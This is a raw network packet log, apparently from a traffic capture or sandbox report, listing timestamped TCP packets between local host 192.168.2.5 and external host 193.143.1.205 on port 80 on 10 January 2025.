Jan 10, 2025 20:52:04.963700056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963710070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963712931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963758945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963758945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963793039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963804960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963816881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963834047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963850021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963860035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963872910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963881969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963881969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963886023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963932991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963932991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964082956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964093924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964107037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964118004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964128971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964140892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964152098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964154959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964154959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964169979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964186907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964188099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964201927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964251041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964251041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964437962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964451075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964462042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964472055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964483023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964493990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964502096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964505911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964520931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964533091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964536905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964574099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964605093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964622974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964633942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964644909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964656115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964657068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964668989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964683056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964683056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964698076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964709997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964720011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964724064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964735985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964747906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.964791059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.964791059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965436935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965450048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965461016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965471983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965483904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965495110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965498924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965507984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965528011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965543032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965553999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965554953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965568066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965579987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965590954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965605021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965605974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965606928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965629101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965640068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.965652943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.965708971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.968727112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968739033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968837023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.968909025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968920946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968931913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968943119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968956947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968967915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968970060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.968970060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.968981028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.968991995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969006062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969012976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969023943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969038963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969048977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969057083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969057083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969060898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969074011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969085932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969089985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969098091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969110012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969170094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969170094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969388962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969402075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969413042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969424009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969435930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969446898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969460011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969479084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969480991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969480991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969633102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969698906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969713926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969724894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969737053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969743013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.969898939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969898939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.969898939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.979340076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.980252981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980324984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980335951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980345964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980356932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980366945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980382919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980385065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.980393887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.980444908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.980444908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012044907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012084961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012095928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012186050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012203932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012213945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012213945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012224913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012238026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012253046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012260914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012260914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012263060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012274027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012291908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012299061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012299061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012304068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012315035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012326956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012336969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012337923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012350082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.012382030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.012382030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.031994104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050349951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050436974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050472021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050487041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050497055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050509930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050513983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050513983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050538063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050549030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050559044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050565004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050592899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050614119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050621986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050621986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050623894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050648928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050659895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050668955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050679922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050681114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050681114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050695896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050708055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050720930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050749063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050793886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050803900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050813913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050823927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050834894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050841093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050844908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050859928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050869942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050878048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050883055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050895929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.050955057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.050982952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051012993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051075935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051098108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051105976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051124096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051135063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051145077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051150084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051198006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051337004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051352978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051367998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051384926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051400900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051412106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051423073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051433086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051431894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051445961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051433086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051433086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051455975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051467896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051480055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051489115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051501036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051512957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051531076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051536083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051536083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051536083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051552057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051564932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051570892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051577091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051590919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051599979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051615000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051625967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051625967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051636934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051647902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051660061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051668882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051681995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051690102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051690102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051692963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051724911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051734924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051743984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051745892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051757097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051767111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051779985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051795959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051795959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051816940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051829100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051839113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051852942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051851988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051866055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051872015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051872015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051925898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.051960945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051971912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051980972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051989079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.051999092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052012920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.052016020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052031040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052042007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052056074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052066088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052072048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.052072048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.052078962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052089930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.052115917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.052323103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.061213017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.072635889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088057041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088080883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088090897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088095903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088109970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088149071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088160992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088181973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088201046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088205099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088205099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088216066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088227987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088252068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088253021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088263035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088274002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088284969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088296890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088308096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088321924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088331938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088345051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088356972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088365078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088365078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088388920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088402033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.088433981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.088433981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115499973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115520954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115531921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115545034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115555048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115576982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115578890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115590096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115606070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115619898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115621090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115636110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115665913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115699053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115717888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115731955 CET	80	49704	193.143.1.205	192.168.2.5
